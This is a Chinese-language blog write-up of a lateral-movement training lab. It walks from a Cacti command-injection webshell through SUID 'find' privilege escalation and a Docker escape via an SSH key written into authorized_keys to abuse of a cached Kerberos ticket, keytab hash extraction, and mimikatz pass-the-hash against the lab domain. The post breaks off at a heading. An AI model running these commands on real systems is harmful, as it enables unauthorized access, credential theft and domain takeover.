域渗透靶场-How2MoveLaterally

How2MoveLaterally

本环境是xbitsplatform靶场平台的基础环境之一,主要考察横向移动的知识点。从 linux 外围打点开始,经历几次横向移动后最后获得域管权限。

参考资料:https://www.freebuf.com/articles/web/369610.html

渗透过程

连接VPN

xbitsplatform靶场输入ls,然后cat How2MoveLaterally.txt得到.ovpn文件,进行openvpn连接(连接的用户名和密码为文件名称,用户名:Anonymous 密码:helloworld)

C段扫描

成功连接上VPN后,输入route对其路由进行查看,可以得到靶场的入口IP:10.0.2.0,使用goby工具对其进行C段扫描,成功得到相关存活IP,访问其中开放80端口的10.0.2.152

yushentou1

外网打点

发现10.0.2.152为Cacti框架,且为1.2.22版本,在漏洞库中发现其存在一个前台命令注入的漏洞,尝试利用,成功写入木马

yushentou2

SUID提权

写入木马后,用蚁剑对其进行连接,发现在根目录存在.dockerenv,知道目前在docker容器内,访问/dev目录,发现其中存在很多文件,猜测docker容器为特权模式启动,可能存在逃逸,当前用户为www-data,权限较低,尝试进行提权

查找SUID文件:

1
find / -user root -perm -4000 -exec ls -ldb {} \;

存在特殊文件findGTFOBins查看如何利用

执行:

1
find . -exec /bin/sh -p -c whoami \; -quit

成功提权

yushentou4

Docker逃逸

在/mnt目录下发现了一个已经挂载的目录,并且可读

1
find . -exec /bin/sh -p -c 'ls /mnt/cacti' \; -quit

采取写入公钥的办法进行登录,使用MobaXterm生成一个公钥,并使用base64进行加密,传入/mnt/cacti/root/.ssh/authorized_keys

1
find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEMitBNDM2TVAxbWZDRWZUL2hrd05vd1dJV1ZiZURDNWIzbDExRnpGc1l6M01PMityM1JPUDRXc09zdW9YQ2o0cjNwRXkxWDkwR1NoY2d6dmJ6VjJTMGc5UkJITmFqMXZ4NHBUZXpMOXpIeitiUXJseHJFR3J3KzlpVnUzNlMyR1NZcGNoUWxHZDJyQjFTQm1RT2QzZEwySURtdktVU01iamNjbEZaTGo4NnJhSHZEeVd0TitaT2xsUFAvcW9icmRuRVMzTnFzYlE2UVppUmJ2MGdqejRRSHZ4Vi9ZbmNCTzNvc0oxdVcwZ2pzWlR3OVhGSUxlMUJBeWNFeDFxMXJ0ejJKTEYyNjJkYTN6eVd1eXNYRldWNzRIM1Y2WTRzQzd2OWNTUGRvRHlMNnZmNGtFVlNHM1FQQzc1bXdzczdyY3FtWWJkUXp3cURsTGgrTlhBVEdZSDEgcnNhLWtleS0yMDI0MDYxMQ== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' \; -quit

成功连接

yushentou5

Linux域信息搜集

查看dns,显示存在域,域控为10.0.2.100

尝试ping,返回的ttl值为128,可知为Windows域

Windows操作系统的初始TTL值为128,而Linux和Unix系统的初始TTL值为64

1
cat /etc/resolv.conf

yushentou6

查看具体的ldap配置,可知域为MOVE.LAB

1
cat /etc/krb5.conf

yushentou7

搜索相关目录,尝试寻找和域相关的信息

1
2
grep -rn move.lab /etc
grep -rn move.lab /var/www/html

yushentou8

得到了相关有效信息:

1
2
3
域名:move.lab  
域控机器IP:10.0.2.100
存在域账户:linux_ldap

如果可以拿到 linux_ldap 这个用户的身份就可以先将域的 ldap 信息导出,在/tmp 目录下发现了 linux_ldap 用户缓存的票据:

yushentou9

尝试设置环境变量为这个票据

1
export KRB5CCNAME=/tmp/krb5cc_1680801105

使用 ldapsearch 导出信息

1
ldapsearch  -b "dc=move,dc=lab" -H ldap://10.0.2.100

但显示认证失败

yushentou10

看来这些工具并不支持票据认证,使用 impacket 工具尝试,这里直接使用打包好的 elf 程序

elf文件:目标文件再不同的系统或平台上具有不同的命名格式,在Unix和X86-64 Linux上称为ELF(Executable and Linkable Format, ELF)

通过/etc/krb5.keytab利用keytabextract.py获取到了Linux机器的hash

这样我们就可以用这个机器的身份来搜集 ldap 信息

1
./GetADUsers_linux_x86_64  move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all

impacket对于 ldap 信息搜集的不全,只有枚举用户的功能

使用mimikatz进行本地PTH(Pass-The-Hash哈希传递)

1
sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec0

使用AdFind成功导出ldap的信息

yushentou11

定位域用户机器


域渗透靶场-How2MoveLaterally
http://example.com/2024/06/07/How2MoveLaterally/
作者
ZERO
发布于
2024年6月7日
许可协议